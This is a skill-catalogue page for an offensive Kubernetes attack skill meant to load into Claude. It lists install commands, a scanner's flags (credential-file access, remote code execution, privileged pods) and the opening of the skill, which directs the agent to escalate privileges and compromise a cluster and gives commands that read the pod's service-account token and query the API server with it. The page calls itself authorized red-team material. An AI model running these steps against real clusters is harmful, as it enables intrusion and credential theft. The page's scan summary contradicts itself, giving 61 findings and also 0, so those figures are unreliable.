claude-red is a library of structured skills that give Claude specialized offensive-security methods for areas such as web vulnerabilities, shellcode, exploit development, and identity systems. It is intended for authorized red-team work, bug-bounty triage, security research, CTF preparation, and operator training. Its catalogue contains the project's skills for loading these security specializations into Claude.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add SnailSploit/Claude-Red --skill offensive-k8s-attacksgit clone --depth 1 https://github.com/SnailSploit/Claude-RedWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/snailsploit/claude-red/offensive-k8s-attacks)<a href="https://agentmods.dev/skills/snailsploit/claude-red/offensive-k8s-attacks"><img src="https://agentmods.dev/badge/skills/snailsploit/claude-red/offensive-k8s-attacks/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/snailsploit/claude-red/offensive-k8s-attacks"><img src="https://agentmods.dev/badge/skills/snailsploit/claude-red/offensive-k8s-attacks.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 61 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Privilege Escalation · line 8 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 12 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 82 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 112 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 113 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Data Exfiltration · line 111 Code enumerates, copies, or searches environment variables for secrets. Bulk environment access can collect credentials unrelated to the skill's stated purpose.Fix: Read only explicitly required environment variables by name. Avoid enumerating or copying the full environment, and never log or transmit credentials to untrusted destinations.
- high Supply Chain · line 237 Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.Fix: Avoid downloading and executing remote scripts. Use trusted packages from PyPI/npm. If remote fetch is required, verify checksums and use HTTPS.
- high Tool Misuse · line 289 Code deploys a privileged Kubernetes workload (privileged container, hostPath mount, or host namespaces). This grants root on the node and is a node/cluster takeover vector.Fix: Remove privileged, hostPath, and host-namespace settings from workloads. Use a least-privilege securityContext, drop capabilities, and avoid mounting the host filesystem.
- high Tool Misuse · line 370 Code deploys a privileged Kubernetes workload (privileged container, hostPath mount, or host namespaces). This grants root on the node and is a node/cluster takeover vector.Fix: Remove privileged, hostPath, and host-namespace settings from workloads. Use a least-privilege securityContext, drop capabilities, and avoid mounting the host filesystem.
- high Tool Misuse · line 598 Code deploys a privileged Kubernetes workload (privileged container, hostPath mount, or host namespaces). This grants root on the node and is a node/cluster takeover vector.Fix: Remove privileged, hostPath, and host-namespace settings from workloads. Use a least-privilege securityContext, drop capabilities, and avoid mounting the host filesystem.
- high Tool Misuse · line 660 Code deploys a privileged Kubernetes workload (privileged container, hostPath mount, or host namespaces). This grants root on the node and is a node/cluster takeover vector.Fix: Remove privileged, hostPath, and host-namespace settings from workloads. Use a least-privilege securityContext, drop capabilities, and avoid mounting the host filesystem.
- high Privilege Escalation · line 294 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 348 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 297 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 298 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 742 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Tool Misuse · line 313 Code deploys a privileged Kubernetes workload (privileged container, hostPath mount, or host namespaces). This grants root on the node and is a node/cluster takeover vector.Fix: Remove privileged, hostPath, and host-namespace settings from workloads. Use a least-privilege securityContext, drop capabilities, and avoid mounting the host filesystem.
- high Tool Misuse · line 371 Code deploys a privileged Kubernetes workload (privileged container, hostPath mount, or host namespaces). This grants root on the node and is a node/cluster takeover vector.Fix: Remove privileged, hostPath, and host-namespace settings from workloads. Use a least-privilege securityContext, drop capabilities, and avoid mounting the host filesystem.
- high Tool Misuse · line 599 Code deploys a privileged Kubernetes workload (privileged container, hostPath mount, or host namespaces). This grants root on the node and is a node/cluster takeover vector.Fix: Remove privileged, hostPath, and host-namespace settings from workloads. Use a least-privilege securityContext, drop capabilities, and avoid mounting the host filesystem.
- high Tool Misuse · line 661 Code deploys a privileged Kubernetes workload (privileged container, hostPath mount, or host namespaces). This grants root on the node and is a node/cluster takeover vector.Fix: Remove privileged, hostPath, and host-namespace settings from workloads. Use a least-privilege securityContext, drop capabilities, and avoid mounting the host filesystem.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00232 | $0.07382 |
| Opus 5.5 | $0.00093 | $0.02953 |
| Sonnet 5.5 | $0.00046 | $0.01476 |
| Haiku 4.5 | $0.00023 | $0.00738 |
Grade A, and why
offensive-k8s-attacks scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 809 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Kubernetes Cluster Attacks
You have access to a Kubernetes environment, either through a compromised pod, stolen kubeconfig, or exposed API server. Your objective is to escalate privileges, move laterally, and compromise the cluster or underlying cloud infrastructure. Kubernetes security depends on RBAC policies, network policies, admission controllers, pod security standards, and cloud IAM integration. Each misconfiguration opens a path to deeper access. This skill covers systematic enumeration, privilege escalation, secret extraction, and cluster-wide compromise techniques.
Quick Workflow
- Determine your initial position: pod shell, stolen token, exposed API, or kubeconfig file.
- Enumerate service account permissions, cluster roles, and accessible resources.
- Identify escalation vectors: RBAC gaps, kubelet exposure, hostPath mounts, cloud metadata access.
- Escalate privileges by chaining misconfigurations or abusing overprivileged service accounts.
- Extract secrets, pivot to other namespaces, and target the control plane.
- Leverage cloud metadata or etcd access for infrastructure-wide compromise.
Phase 1: Initial Enumeration
Determining Your Position
# Check if you are inside a pod
ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# Environment variables set by Kubernetes
env | grep -i kube
env | grep -i kubernetes
# Service host and port are injected into every pod
echo $KUBERNETES_SERVICE_HOST
echo $KUBERNETES_SERVICE_PORT
# DNS resolution for API server
nslookup kubernetes.default.svc.cluster.local
# Determine if kubectl is available
which kubectl 2>/dev/null
# If not, use curl with the service account token
Setting Up API Access Without kubectl
# Extract token and CA certificate
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
# Test API access
curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" \
${APISERVER}/api/v1/namespaces
# Shorthand function for repeated use
k8s_api() {
curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" \
"${APISERVER}$1"
}
# Check your identity
k8s_api "/apis/authentication.k8s.io/v1/tokenreviews" \
-X POST -H "Content-Type: application/json" \
-d "{\"apiVersion\":\"authentication.k8s.io/v1\",\"kind\":\"TokenReview\",\"spec\":{\"token\":\"${TOKEN}\"}}"
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 809 lines · 232 tokens per session scan F 04382cb9bfa1
offensive-k8s-attacks is a skill published in the GitHub repository SnailSploit/Claude-Red (7,638 stars, last pushed 9d ago), licensed MIT. It adds 232 tokens to every session and 7,382 once invoked, about $0.0009 per session on Opus 5.5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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